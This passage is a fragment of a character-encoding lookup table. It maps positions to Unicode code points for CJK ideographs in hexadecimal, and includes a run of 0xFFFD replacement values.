0x783A, 0x52AA, 0x5EA6, 0x571F, 0x5974, 0x6012, 0x5012, 0x515A, 0x51AC,
0x51CD, 0x5200, 0x5510, 0x5854, 0x5858, 0x5957, 0x5B95, 0x5CF6, 0x5D8B,
0x60BC, 0x6295, 0x642D, 0x6771, 0x6843, 0x68BC, 0x68DF, 0x76D7, 0x6DD8,
0x6E6F, 0x6D9B, 0x706F, 0x71C8, 0x5F53, 0x75D8, 0x7977, 0x7B49, 0x7B54,
0x7B52, 0x7CD6, 0x7D71, 0x5230, 0x8463, 0x8569, 0x85E4, 0x8A0E, 0x8B04,
0x8C46, 0x8E0F, 0x9003, 0x900F, 0x9419, 0x9676, 0x982D, 0x9A30, 0x95D8,
0x50CD, 0x52D5, 0x540C, 0x5802, 0x5C0E, 0x61A7, 0x649E, 0x6D1E, 0x77B3,
0x7AE5, 0x80F4, 0x8404, 0x9053, 0x9285, 0x5CE0, 0x9D07, 0x533F, 0x5F97,
0x5FB3, 0x6D9C, 0x7279, 0x7763, 0x79BF, 0x7BE4, 0x6BD2, 0x72EC, 0x8AAD,
0x6803, 0x6A61, 0x51F8, 0x7A81, 0x6934, 0x5C4A, 0x9CF6, 0x82EB, 0x5BC5,
0x9149, 0x701E, 0x5678, 0x5C6F, 0x60C7, 0x6566, 0x6C8C, 0x8C5A, 0x9041,
0x9813, 0x5451, 0x66C7, 0x920D, 0x5948, 0x90A3, 0x5185, 0x4E4D, 0x51EA,
0x8599, 0x8B0E, 0x7058, 0x637A, 0x934B, 0x6962, 0x99B4, 0x7E04, 0x7577,
0x5357, 0x6960, 0x8EDF, 0x96E3, 0x6C5D, 0x4E8C, 0x5C3C, 0x5F10, 0x8FE9,
0x5302, 0x8CD1, 0x8089, 0x8679, 0x5EFF, 0x65E5, 0x4E73, 0x5165, 0x5982,
0x5C3F, 0x97EE, 0x4EFB, 0x598A, 0x5FCD, 0x8A8D, 0x6FE1, 0x79B0, 0x7962,
0x5BE7, 0x8471, 0x732B, 0x71B1, 0x5E74, 0x5FF5, 0x637B, 0x649A, 0x71C3,
0x7C98, 0x4E43, 0x5EFC, 0x4E4B, 0x57DC, 0x56A2, 0x60A9, 0x6FC3, 0x7D0D,
0x80FD, 0x8133, 0x81BF, 0x8FB2, 0x8997, 0x86A4, 0x5DF4, 0x628A, 0x64AD,
0x8987, 0x6777, 0x6CE2, 0x6D3E, 0x7436, 0x7834, 0x5A46, 0x7F75, 0x82AD,
0x99AC, 0x4FF3, 0x5EC3, 0x62DD, 0x6392, 0x6557, 0x676F, 0x76C3, 0x724C,
0x80CC, 0x80BA, 0x8F29, 0x914D, 0x500D, 0x57F9, 0x5A92, 0x6885, 0x6973,
0x7164, 0x72FD, 0x8CB7, 0x58F2, 0x8CE0, 0x966A, 0x9019, 0x877F, 0x79E4,
0x77E7, 0x8429, 0x4F2F, 0x5265, 0x535A, 0x62CD, 0x67CF, 0x6CCA, 0x767D,
0x7B94, 0x7C95, 0x8236, 0x8584, 0x8FEB, 0x66DD, 0x6F20, 0x7206, 0x7E1B,
0x83AB, 0x99C1, 0x9EA6, 0x51FD, 0x7BB1, 0x7872, 0x7BB8, 0x8087, 0x7B48,
0x6AE8, 0x5E61, 0x808C, 0x7551, 0x7560, 0x516B, 0x9262, 0x6E8C, 0x767A,
0x9197, 0x9AEA, 0x4F10, 0x7F70, 0x629C, 0x7B4F, 0x95A5, 0x9CE9, 0x567A,
0x5859, 0x86E4, 0x96BC, 0x4F34, 0x5224, 0x534A, 0x53CD, 0x53DB, 0x5E06,
0x642C, 0x6591, 0x677F, 0x6C3E, 0x6C4E, 0x7248, 0x72AF, 0x73ED, 0x7554,
0x7E41, 0x822C, 0x85E9, 0x8CA9, 0x7BC4, 0x91C6, 0x7169, 0x9812, 0x98EF,
0x633D, 0x6669, 0x756A, 0x76E4, 0x78D0, 0x8543, 0x86EE, 0x532A, 0x5351,
0x5426, 0x5983, 0x5E87, 0x5F7C, 0x60B2, 0x6249, 0x6279, 0x62AB, 0x6590,
0x6BD4, 0x6CCC, 0x75B2, 0x76AE, 0x7891, 0x79D8, 0x7DCB, 0x7F77, 0x80A5,
0x88AB, 0x8AB9, 0x8CBB, 0x907F, 0x975E, 0x98DB, 0x6A0B, 0x7C38, 0x5099,
0x5C3E, 0x5FAE, 0x6787, 0x6BD8, 0x7435, 0x7709, 0x7F8E, 0x9F3B, 0x67CA,
0x7A17, 0x5339, 0x758B, 0x9AED, 0x5F66, 0x819D, 0x83F1, 0x8098, 0x5F3C,
0x5FC5, 0x7562, 0x7B46, 0x903C, 0x6867, 0x59EB, 0x5A9B, 0x7D10, 0x767E,
0x8B2C, 0x4FF5, 0x5F6A, 0x6A19, 0x6C37, 0x6F02, 0x74E2, 0x7968, 0x8868,
0x8A55, 0x8C79, 0x5EDF, 0x63CF, 0x75C5, 0x79D2, 0x82D7, 0x9328, 0x92F2,
0x849C, 0x86ED, 0x9C2D, 0x54C1, 0x5F6C, 0x658C, 0x6D5C, 0x7015, 0x8CA7,
0x8CD3, 0x983B, 0x654F, 0x74F6, 0x4E0D, 0x4ED8, 0x57E0, 0x592B, 0x5A66,
0x5BCC, 0x51A8, 0x5E03, 0x5E9C, 0x6016, 0x6276, 0x6577, 0x65A7, 0x666E,
0x6D6E, 0x7236, 0x7B26, 0x8150, 0x819A, 0x8299, 0x8B5C, 0x8CA0, 0x8CE6,
0x8D74, 0x961C, 0x9644, 0x4FAE, 0x64AB, 0x6B66, 0x821E, 0x8461, 0x856A,
0x90E8, 0x5C01, 0x6953, 0x98A8, 0x847A, 0x8557, 0x4F0F, 0x526F, 0x5FA9,
0x5E45, 0x670D, 0x798F, 0x8179, 0x8907, 0x8986, 0x6DF5, 0x5F17, 0x6255,
0x6CB8, 0x4ECF, 0x7269, 0x9B92, 0x5206, 0x543B, 0x5674, 0x58B3, 0x61A4,
0x626E, 0x711A, 0x596E, 0x7C89, 0x7CDE, 0x7D1B, 0x96F0, 0x6587, 0x805E,
0x4E19, 0x4F75, 0x5175, 0x5840, 0x5E63, 0x5E73, 0x5F0A, 0x67C4, 0x4E26,
0x853D, 0x9589, 0x965B, 0x7C73, 0x9801, 0x50FB, 0x58C1, 0x7656, 0x78A7,
0x5225, 0x77A5, 0x8511, 0x7B86, 0x504F, 0x5909, 0x7247, 0x7BC7, 0x7DE8,
0x8FBA, 0x8FD4, 0x904D, 0x4FBF, 0x52C9, 0x5A29, 0x5F01, 0x97AD, 0x4FDD,
0x8217, 0x92EA, 0x5703, 0x6355, 0x6B69, 0x752B, 0x88DC, 0x8F14, 0x7A42,
0x52DF, 0x5893, 0x6155, 0x620A, 0x66AE, 0x6BCD, 0x7C3F, 0x83E9, 0x5023,
0x4FF8, 0x5305, 0x5446, 0x5831, 0x5949, 0x5B9D, 0x5CF0, 0x5CEF, 0x5D29,
0x5E96, 0x62B1, 0x6367, 0x653E, 0x65B9, 0x670B, 0x6CD5, 0x6CE1, 0x70F9,
0x7832, 0x7E2B, 0x80DE, 0x82B3, 0x840C, 0x84EC, 0x8702, 0x8912, 0x8A2A,
0x8C4A, 0x90A6, 0x92D2, 0x98FD, 0x9CF3, 0x9D6C, 0x4E4F, 0x4EA1, 0x508D,
0x5256, 0x574A, 0x59A8, 0x5E3D, 0x5FD8, 0x5FD9, 0x623F, 0x66B4, 0x671B,
0x67D0, 0x68D2, 0x5192, 0x7D21, 0x80AA, 0x81A8, 0x8B00, 0x8C8C, 0x8CBF,
0x927E, 0x9632, 0x5420, 0x982C, 0x5317, 0x50D5, 0x535C, 0x58A8, 0x64B2,
0x6734, 0x7267, 0x7766, 0x7A46, 0x91E6, 0x52C3, 0x6CA1, 0x6B86, 0x5800,
0x5E4C, 0x5954, 0x672C, 0x7FFB, 0x51E1, 0x76C6, 0x6469, 0x78E8, 0x9B54,
0x9EBB, 0x57CB, 0x59B9, 0x6627, 0x679A, 0x6BCE, 0x54E9, 0x69D9, 0x5E55,
0x819C, 0x6795, 0x9BAA, 0x67FE, 0x9C52, 0x685D, 0x4EA6, 0x4FE3, 0x53C8,
0x62B9, 0x672B, 0x6CAB, 0x8FC4, 0x4FAD, 0x7E6D, 0x9EBF, 0x4E07, 0x6162,
0x6E80, 0x6F2B, 0x8513, 0x5473, 0x672A, 0x9B45, 0x5DF3, 0x7B95, 0x5CAC,
0x5BC6, 0x871C, 0x6E4A, 0x84D1, 0x7A14, 0x8108, 0x5999, 0x7C8D, 0x6C11,
0x7720, 0x52D9, 0x5922, 0x7121, 0x725F, 0x77DB, 0x9727, 0x9D61, 0x690B,
0x5A7F, 0x5A18, 0x51A5, 0x540D, 0x547D, 0x660E, 0x76DF, 0x8FF7, 0x9298,
0x9CF4, 0x59EA, 0x725D, 0x6EC5, 0x514D, 0x68C9, 0x7DBF, 0x7DEC, 0x9762,
0x9EBA, 0x6478, 0x6A21, 0x8302, 0x5984, 0x5B5F, 0x6BDB, 0x731B, 0x76F2,
0x7DB2, 0x8017, 0x8499, 0x5132, 0x6728, 0x9ED9, 0x76EE, 0x6762, 0x52FF,
0x9905, 0x5C24, 0x623B, 0x7C7E, 0x8CB0, 0x554F, 0x60B6, 0x7D0B, 0x9580,
0x5301, 0x4E5F, 0x51B6, 0x591C, 0x723A, 0x8036, 0x91CE, 0x5F25, 0x77E2,
0x5384, 0x5F79, 0x7D04, 0x85AC, 0x8A33, 0x8E8D, 0x9756, 0x67F3, 0x85AE,
0x9453, 0x6109, 0x6108, 0x6CB9, 0x7652, 0x8AED, 0x8F38, 0x552F, 0x4F51,
0x512A, 0x52C7, 0x53CB, 0x5BA5, 0x5E7D, 0x60A0, 0x6182, 0x63D6, 0x6709,
0x67DA, 0x6E67, 0x6D8C, 0x7336, 0x7337, 0x7531, 0x7950, 0x88D5, 0x8A98,
0x904A, 0x9091, 0x90F5, 0x96C4, 0x878D, 0x5915, 0x4E88, 0x4F59, 0x4E0E,
0x8A89, 0x8F3F, 0x9810, 0x50AD, 0x5E7C, 0x5996, 0x5BB9, 0x5EB8, 0x63DA,
0x63FA, 0x64C1, 0x66DC, 0x694A, 0x69D8, 0x6D0B, 0x6EB6, 0x7194, 0x7528,
0x7AAF, 0x7F8A, 0x8000, 0x8449, 0x84C9, 0x8981, 0x8B21, 0x8E0A, 0x9065,
0x967D, 0x990A, 0x617E, 0x6291, 0x6B32, 0x6C83, 0x6D74, 0x7FCC, 0x7FFC,
0x6DC0, 0x7F85, 0x87BA, 0x88F8, 0x6765, 0x83B1, 0x983C, 0x96F7, 0x6D1B,
0x7D61, 0x843D, 0x916A, 0x4E71, 0x5375, 0x5D50, 0x6B04, 0x6FEB, 0x85CD,
0x862D, 0x89A7, 0x5229, 0x540F, 0x5C65, 0x674E, 0x68A8, 0x7406, 0x7483,
0x75E2, 0x88CF, 0x88E1, 0x91CC, 0x96E2, 0x9678, 0x5F8B, 0x7387, 0x7ACB,
0x844E, 0x63A0, 0x7565, 0x5289, 0x6D41, 0x6E9C, 0x7409, 0x7559, 0x786B,
0x7C92, 0x9686, 0x7ADC, 0x9F8D, 0x4FB6, 0x616E, 0x65C5, 0x865C, 0x4E86,
0x4EAE, 0x50DA, 0x4E21, 0x51CC, 0x5BEE, 0x6599, 0x6881, 0x6DBC, 0x731F,
0x7642, 0x77AD, 0x7A1C, 0x7CE7, 0x826F, 0x8AD2, 0x907C, 0x91CF, 0x9675,
0x9818, 0x529B, 0x7DD1, 0x502B, 0x5398, 0x6797, 0x6DCB, 0x71D0, 0x7433,
0x81E8, 0x8F2A, 0x96A3, 0x9C57, 0x9E9F, 0x7460, 0x5841, 0x6D99, 0x7D2F,
0x985E, 0x4EE4, 0x4F36, 0x4F8B, 0x51B7, 0x52B1, 0x5DBA, 0x601C, 0x73B2,
0x793C, 0x82D3, 0x9234, 0x96B7, 0x96F6, 0x970A, 0x9E97, 0x9F62, 0x66A6,
0x6B74, 0x5217, 0x52A3, 0x70C8, 0x88C2, 0x5EC9, 0x604B, 0x6190, 0x6F23,
0x7149, 0x7C3E, 0x7DF4, 0x806F, 0x84EE, 0x9023, 0x932C, 0x5442, 0x9B6F,
0x6AD3, 0x7089, 0x8CC2, 0x8DEF, 0x9732, 0x52B4, 0x5A41, 0x5ECA, 0x5F04,
0x6717, 0x697C, 0x6994, 0x6D6A, 0x6F0F, 0x7262, 0x72FC, 0x7BED, 0x8001,
0x807E, 0x874B, 0x90CE, 0x516D, 0x9E93, 0x7984, 0x808B, 0x9332, 0x8AD6,
0x502D, 0x548C, 0x8A71, 0x6B6A, 0x8CC4, 0x8107, 0x60D1, 0x67A0, 0x9DF2,
0x4E99, 0x4E98, 0x9C10, 0x8A6B, 0x85C1, 0x8568, 0x6900, 0x6E7E, 0x7897,
0x8155, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x5F0C,
0x4E10, 0x4E15, 0x4E2A, 0x4E31, 0x4E36, 0x4E3C, 0x4E3F, 0x4E42, 0x4E56,
0x4E58, 0x4E82, 0x4E85, 0x8C6B, 0x4E8A, 0x8212, 0x5F0D, 0x4E8E, 0x4E9E,
0x4E9F, 0x4EA0, 0x4EA2, 0x4EB0, 0x4EB3, 0x4EB6, 0x4ECE, 0x4ECD, 0x4EC4,
0x4EC6, 0x4EC2, 0x4ED7, 0x4EDE, 0x4EED, 0x4EDF, 0x4EF7, 0x4F09, 0x4F5A,
0x4F30, 0x4F5B, 0x4F5D, 0x4F57, 0x4F47, 0x4F76, 0x4F88, 0x4F8F, 0x4F98,
0x4F7B, 0x4F69, 0x4F70, 0x4F91, 0x4F6F, 0x4F86, 0x4F96, 0x5118, 0x4FD4,
0x4FDF, 0x4FCE, 0x4FD8, 0x4FDB, 0x4FD1, 0x4FDA, 0x4FD0, 0x4FE4, 0x4FE5,
0x501A, 0x5028, 0x5014, 0x502A, 0x5025, 0x5005, 0x4F1C, 0x4FF6, 0x5021,
0x5029, 0x502C, 0x4FFE, 0x4FEF, 0x5011, 0x5006, 0x5043, 0x5047, 0x6703,
0x5055, 0x5050, 0x5048, 0x505A, 0x5056, 0x506C, 0x5078, 0x5080, 0x509A,
0x5085, 0x50B4, 0x50B2, 0x50C9, 0x50CA, 0x50B3, 0x50C2, 0x50D6, 0x50DE,
0x50E5, 0x50ED, 0x50E3, 0x50EE, 0x50F9, 0x50F5, 0x5109, 0x5101, 0x5102,
0x5116, 0x5115, 0x5114, 0x511A, 0x5121, 0x513A, 0x5137, 0x513C, 0x513B,
0x513F, 0x5140, 0x5152, 0x514C, 0x5154, 0x5162, 0x7AF8, 0x5169, 0x516A,
0x516E, 0x5180, 0x5182, 0x56D8, 0x518C, 0x5189, 0x518F, 0x5191, 0x5193,
0x5195, 0x5196, 0x51A4, 0x51A6, 0x51A2, 0x51A9, 0x51AA, 0x51AB, 0x51B3,
0x51B1, 0x51B2, 0x51B0, 0x51B5, 0x51BD, 0x51C5, 0x51C9, 0x51DB, 0x51E0,
0x8655, 0x51E9, 0x51ED, 0x51F0, 0x51F5, 0x51FE, 0x5204, 0x520B, 0x5214,
0x520E, 0x5227, 0x522A, 0x522E, 0x5233, 0x5239, 0x524F, 0x5244, 0x524B,
0x524C, 0x525E, 0x5254, 0x526A, 0x5274, 0x5269, 0x5273, 0x527F, 0x527D,
0x528D, 0x5294, 0x5292, 0x5271, 0x5288, 0x5291, 0x8FA8, 0x8FA7, 0x52AC,
0x52AD, 0x52BC, 0x52B5, 0x52C1, 0x52CD, 0x52D7, 0x52DE, 0x52E3, 0x52E6,
0x98ED, 0x52E0, 0x52F3, 0x52F5, 0x52F8, 0x52F9, 0x5306, 0x5308, 0x7538,
0x530D, 0x5310, 0x530F, 0x5315, 0x531A, 0x5323, 0x532F, 0x5331, 0x5333,
0x5338, 0x5340, 0x5346, 0x5345, 0x4E17, 0x5349, 0x534D, 0x51D6, 0x535E,
0x5369, 0x536E, 0x5918, 0x537B, 0x5377, 0x5382, 0x5396, 0x53A0, 0x53A6,
0x53A5, 0x53AE, 0x53B0, 0x53B6, 0x53C3, 0x7C12, 0x96D9, 0x53DF, 0x66FC,
0x71EE, 0x53EE, 0x53E8, 0x53ED, 0x53FA, 0x5401, 0x543D, 0x5440, 0x542C,
0x542D, 0x543C, 0x542E, 0x5436, 0x5429, 0x541D, 0x544E, 0x548F, 0x5475,
0x548E, 0x545F, 0x5471, 0x5477, 0x5470, 0x5492, 0x547B, 0x5480, 0x5476,
0x5484, 0x5490, 0x5486, 0x54C7, 0x54A2, 0x54B8, 0x54A5, 0x54AC, 0x54C4,
0x54C8, 0x54A8, 0x54AB, 0x54C2, 0x54A4, 0x54BE, 0x54BC, 0x54D8, 0x54E5,
0x54E6, 0x550F, 0x5514, 0x54FD, 0x54EE, 0x54ED, 0x54FA, 0x54E2, 0x5539,
0x5540, 0x5563, 0x554C, 0x552E, 0x555C, 0x5545, 0x5556, 0x5557, 0x5538,
0x5533, 0x555D, 0x5599, 0x5580, 0x54AF, 0x558A, 0x559F, 0x557B, 0x557E,
0x5598, 0x559E, 0x55AE, 0x557C, 0x5583, 0x55A9, 0x5587, 0x55A8, 0x55DA,
0x55C5, 0x55DF, 0x55C4, 0x55DC, 0x55E4, 0x55D4, 0x5614, 0x55F7, 0x5616,
0x55FE, 0x55FD, 0x561B, 0x55F9, 0x564E, 0x5650, 0x71DF, 0x5634, 0x5636,
0x5632, 0x5638, 0x566B, 0x5664, 0x562F, 0x566C, 0x566A, 0x5686, 0x5680,
0x568A, 0x56A0, 0x5694, 0x568F, 0x56A5, 0x56AE, 0x56B6, 0x56B4, 0x56C2,
0x56BC, 0x56C1, 0x56C3, 0x56C0, 0x56C8, 0x56CE, 0x56D1, 0x56D3, 0x56D7,
0x56EE, 0x56F9, 0x5700, 0x56FF, 0x5704, 0x5709, 0x5708, 0x570B, 0x570D,
0x5713, 0x5718, 0x5716, 0x55C7, 0x571C, 0x5726, 0x5737, 0x5738, 0x574E,
0x573B, 0x5740, 0x574F, 0x5769, 0x57C0, 0x5788, 0x5761, 0x577F, 0x5789,
0x5793, 0x57A0, 0x57B3, 0x57A4, 0x57AA, 0x57B0, 0x57C3, 0x57C6, 0x57D4,
0x57D2, 0x57D3, 0x580A, 0x57D6, 0x57E3, 0x580B, 0x5819, 0x581D, 0x5872,
0x5821, 0x5862, 0x584B, 0x5870, 0x6BC0, 0x5852, 0x583D, 0x5879, 0x5885,
0x58B9, 0x589F, 0x58AB, 0x58BA, 0x58DE, 0x58BB, 0x58B8, 0x58AE, 0x58C5,
0x58D3, 0x58D1, 0x58D7, 0x58D9, 0x58D8, 0x58E5, 0x58DC, 0x58E4, 0x58DF,
0x58EF, 0x58FA, 0x58F9, 0x58FB, 0x58FC, 0x58FD, 0x5902, 0x590A, 0x5910,
0x591B, 0x68A6, 0x5925, 0x592C, 0x592D, 0x5932, 0x5938, 0x593E, 0x7AD2,
0x5955, 0x5950, 0x594E, 0x595A, 0x5958, 0x5962, 0x5960, 0x5967, 0x596C,
0x5969, 0x5978, 0x5981, 0x599D, 0x4F5E, 0x4FAB, 0x59A3, 0x59B2, 0x59C6,
0x59E8, 0x59DC, 0x598D, 0x59D9, 0x59DA, 0x5A25, 0x5A1F, 0x5A11, 0x5A1C,
0x5A09, 0x5A1A, 0x5A40, 0x5A6C, 0x5A49, 0x5A35, 0x5A36, 0x5A62, 0x5A6A,
0x5A9A, 0x5ABC, 0x5ABE, 0x5ACB, 0x5AC2, 0x5ABD, 0x5AE3, 0x5AD7, 0x5AE6,
0x5AE9, 0x5AD6, 0x5AFA, 0x5AFB, 0x5B0C, 0x5B0B, 0x5B16, 0x5B32, 0x5AD0,
0x5B2A, 0x5B36, 0x5B3E, 0x5B43, 0x5B45, 0x5B40, 0x5B51, 0x5B55, 0x5B5A,
0x5B5B, 0x5B65, 0x5B69, 0x5B70, 0x5B73, 0x5B75, 0x5B78, 0x6588, 0x5B7A,
0x5B80, 0x5B83, 0x5BA6, 0x5BB8, 0x5BC3, 0x5BC7, 0x5BC9, 0x5BD4, 0x5BD0,
0x5BE4, 0x5BE6, 0x5BE2, 0x5BDE, 0x5BE5, 0x5BEB, 0x5BF0, 0x5BF6, 0x5BF3,
0x5C05, 0x5C07, 0x5C08, 0x5C0D, 0x5C13, 0x5C20, 0x5C22, 0x5C28, 0x5C38,
0x5C39, 0x5C41, 0x5C46, 0x5C4E, 0x5C53, 0x5C50, 0x5C4F, 0x5B71, 0x5C6C,
0x5C6E, 0x4E62, 0x5C76, 0x5C79, 0x5C8C, 0x5C91, 0x5C94, 0x599B, 0x5CAB,
0x5CBB, 0x5CB6, 0x5CBC, 0x5CB7, 0x5CC5, 0x5CBE, 0x5CC7, 0x5CD9, 0x5CE9,
0x5CFD, 0x5CFA, 0x5CED, 0x5D8C, 0x5CEA, 0x5D0B, 0x5D15, 0x5D17, 0x5D5C,
0x5D1F, 0x5D1B, 0x5D11, 0x5D14, 0x5D22, 0x5D1A, 0x5D19, 0x5D18, 0x5D4C,
0x5D52, 0x5D4E, 0x5D4B, 0x5D6C, 0x5D73, 0x5D76, 0x5D87, 0x5D84, 0x5D82,
0x5DA2, 0x5D9D, 0x5DAC, 0x5DAE, 0x5DBD, 0x5D90, 0x5DB7, 0x5DBC, 0x5DC9,
0x5DCD, 0x5DD3, 0x5DD2, 0x5DD6, 0x5DDB, 0x5DEB, 0x5DF2, 0x5DF5, 0x5E0B,
0x5E1A, 0x5E19, 0x5E11, 0x5E1B, 0x5E36, 0x5E37, 0x5E44, 0x5E43, 0x5E40,
0x5E4E, 0x5E57, 0x5E54, 0x5E5F, 0x5E62, 0x5E64, 0x5E47, 0x5E75, 0x5E76,
0x5E7A, 0x9EBC, 0x5E7F, 0x5EA0, 0x5EC1, 0x5EC2, 0x5EC8, 0x5ED0, 0x5ECF,
0x5ED6, 0x5EE3, 0x5EDD, 0x5EDA, 0x5EDB, 0x5EE2, 0x5EE1, 0x5EE8, 0x5EE9,
0x5EEC, 0x5EF1, 0x5EF3, 0x5EF0, 0x5EF4, 0x5EF8, 0x5EFE, 0x5F03, 0x5F09,
0x5F5D, 0x5F5C, 0x5F0B, 0x5F11, 0x5F16, 0x5F29, 0x5F2D, 0x5F38, 0x5F41,
0x5F48, 0x5F4C, 0x5F4E, 0x5F2F, 0x5F51, 0x5F56, 0x5F57, 0x5F59, 0x5F61,
0x5F6D, 0x5F73, 0x5F77, 0x5F83, 0x5F82, 0x5F7F, 0x5F8A, 0x5F88, 0x5F91,
0x5F87, 0x5F9E, 0x5F99, 0x5F98, 0x5FA0, 0x5FA8, 0x5FAD, 0x5FBC, 0x5FD6,
0x5FFB, 0x5FE4, 0x5FF8, 0x5FF1, 0x5FDD, 0x60B3, 0x5FFF, 0x6021, 0x6060,
0x6019, 0x6010, 0x6029, 0x600E, 0x6031, 0x601B, 0x6015, 0x602B, 0x6026,
0x600F, 0x603A, 0x605A, 0x6041, 0x606A, 0x6077, 0x605F, 0x604A, 0x6046,
0x604D, 0x6063, 0x6043, 0x6064, 0x6042, 0x606C, 0x606B, 0x6059, 0x6081,
0x608D, 0x60E7, 0x6083, 0x609A, 0x6084, 0x609B, 0x6096, 0x6097, 0x6092,
0x60A7, 0x608B, 0x60E1, 0x60B8, 0x60E0, 0x60D3, 0x60B4, 0x5FF0, 0x60BD,
0x60C6, 0x60B5, 0x60D8, 0x614D, 0x6115, 0x6106, 0x60F6, 0x60F7, 0x6100,
0x60F4, 0x60FA, 0x6103, 0x6121, 0x60FB, 0x60F1, 0x610D, 0x610E, 0x6147,
0x613E, 0x6128, 0x6127, 0x614A, 0x613F, 0x613C, 0x612C, 0x6134, 0x613D,
0x6142, 0x6144, 0x6173, 0x6177, 0x6158, 0x6159, 0x615A, 0x616B, 0x6174,
0x616F, 0x6165, 0x6171, 0x615F, 0x615D, 0x6153, 0x6175, 0x6199, 0x6196,
0x6187, 0x61AC, 0x6194, 0x619A, 0x618A, 0x6191, 0x61AB, 0x61AE, 0x61CC,
0x61CA, 0x61C9, 0x61F7, 0x61C8, 0x61C3, 0x61C6, 0x61BA, 0x61CB, 0x7F79,
0x61CD, 0x61E6, 0x61E3, 0x61F6, 0x61FA, 0x61F4, 0x61FF, 0x61FD, 0x61FC,
0x61FE, 0x6200, 0x6208, 0x6209, 0x620D, 0x620C, 0x6214, 0x621B, 0x621E,
0x6221, 0x622A, 0x622E, 0x6230, 0x6232, 0x6233, 0x6241, 0x624E, 0x625E,
0x6263, 0x625B, 0x6260, 0x6268, 0x627C, 0x6282, 0x6289, 0x627E, 0x6292,
0x6293, 0x6296, 0x62D4, 0x6283, 0x6294, 0x62D7, 0x62D1, 0x62BB, 0x62CF,
0x62FF, 0x62C6, 0x64D4, 0x62C8, 0x62DC, 0x62CC, 0x62CA, 0x62C2, 0x62C7,
0x629B, 0x62C9, 0x630C, 0x62EE, 0x62F1, 0x6327, 0x6302, 0x6308, 0x62EF,
0x62F5, 0x6350, 0x633E, 0x634D, 0x641C, 0x634F, 0x6396, 0x638E, 0x6380,
0x63AB, 0x6376, 0x63A3, 0x638F, 0x6389, 0x639F, 0x63B5, 0x636B, 0x6369,
0x63BE, 0x63E9, 0x63C0, 0x63C6, 0x63E3, 0x63C9, 0x63D2, 0x63F6, 0x63C4,
0x6416, 0x6434, 0x6406, 0x6413, 0x6426, 0x6436, 0x651D, 0x6417, 0x6428,
0x640F, 0x6467, 0x646F, 0x6476, 0x644E, 0x652A, 0x6495, 0x6493, 0x64A5,
0x64A9, 0x6488, 0x64BC, 0x64DA, 0x64D2, 0x64C5, 0x64C7, 0x64BB, 0x64D8,
0x64C2, 0x64F1, 0x64E7, 0x8209, 0x64E0, 0x64E1, 0x62AC, 0x64E3, 0x64EF,
0x652C, 0x64F6, 0x64F4, 0x64F2, 0x64FA, 0x6500, 0x64FD, 0x6518, 0x651C,
0x6505, 0x6524, 0x6523, 0x652B, 0x6534, 0x6535, 0x6537, 0x6536, 0x6538,
0x754B, 0x6548, 0x6556, 0x6555, 0x654D, 0x6558, 0x655E, 0x655D, 0x6572,
0x6578, 0x6582, 0x6583, 0x8B8A, 0x659B, 0x659F, 0x65AB, 0x65B7, 0x65C3,
0x65C6, 0x65C1, 0x65C4, 0x65CC, 0x65D2, 0x65DB, 0x65D9, 0x65E0, 0x65E1,
0x65F1, 0x6772, 0x660A, 0x6603, 0x65FB, 0x6773, 0x6635, 0x6636, 0x6634,
0x661C, 0x664F, 0x6644, 0x6649, 0x6641, 0x665E, 0x665D, 0x6664, 0x6667,
0x6668, 0x665F, 0x6662, 0x6670, 0x6683, 0x6688, 0x668E, 0x6689, 0x6684,
0x6698, 0x669D, 0x66C1, 0x66B9, 0x66C9, 0x66BE, 0x66BC, 0x66C4, 0x66B8,
0x66D6, 0x66DA, 0x66E0, 0x663F, 0x66E6, 0x66E9, 0x66F0, 0x66F5, 0x66F7,
0x670F, 0x6716, 0x671E, 0x6726, 0x6727, 0x9738, 0x672E, 0x673F, 0x6736,
0x6741, 0x6738, 0x6737, 0x6746, 0x675E, 0x6760, 0x6759, 0x6763, 0x6764,
0x6789, 0x6770, 0x67A9, 0x677C, 0x676A, 0x678C, 0x678B, 0x67A6, 0x67A1,
0x6785, 0x67B7, 0x67EF, 0x67B4, 0x67EC, 0x67B3, 0x67E9, 0x67B8, 0x67E4,
0x67DE, 0x67DD, 0x67E2, 0x67EE, 0x67B9, 0x67CE, 0x67C6, 0x67E7, 0x6A9C,
0x681E, 0x6846, 0x6829, 0x6840, 0x684D, 0x6832, 0x684E, 0x68B3, 0x682B,
0x6859, 0x6863, 0x6877, 0x687F, 0x689F, 0x688F, 0x68AD, 0x6894, 0x689D,
0x689B, 0x6883, 0x6AAE, 0x68B9, 0x6874, 0x68B5, 0x68A0, 0x68BA, 0x690F,
0x688D, 0x687E, 0x6901, 0x68CA, 0x6908, 0x68D8, 0x6922, 0x6926, 0x68E1,
0x690C, 0x68CD, 0x68D4, 0x68E7, 0x68D5, 0x6936, 0x6912, 0x6904, 0x68D7,
0x68E3, 0x6925, 0x68F9, 0x68E0, 0x68EF, 0x6928, 0x692A, 0x691A, 0x6923,
0x6921, 0x68C6, 0x6979, 0x6977, 0x695C, 0x6978, 0x696B, 0x6954, 0x697E,
0x696E, 0x6939, 0x6974, 0x693D, 0x6959, 0x6930, 0x6961, 0x695E, 0x695D,
0x6981, 0x696A, 0x69B2, 0x69AE, 0x69D0, 0x69BF, 0x69C1, 0x69D3, 0x69BE,
0x69CE, 0x5BE8, 0x69CA, 0x69DD, 0x69BB, 0x69C3, 0x69A7, 0x6A2E, 0x6991,
0x69A0, 0x699C, 0x6995, 0x69B4, 0x69DE, 0x69E8, 0x6A02, 0x6A1B, 0x69FF,
0x6B0A, 0x69F9, 0x69F2, 0x69E7, 0x6A05, 0x69B1, 0x6A1E, 0x69ED, 0x6A14,
0x69EB, 0x6A0A, 0x6A12, 0x6AC1, 0x6A23, 0x6A13, 0x6A44, 0x6A0C, 0x6A72,
0x6A36, 0x6A78, 0x6A47, 0x6A62, 0x6A59, 0x6A66, 0x6A48, 0x6A38, 0x6A22,
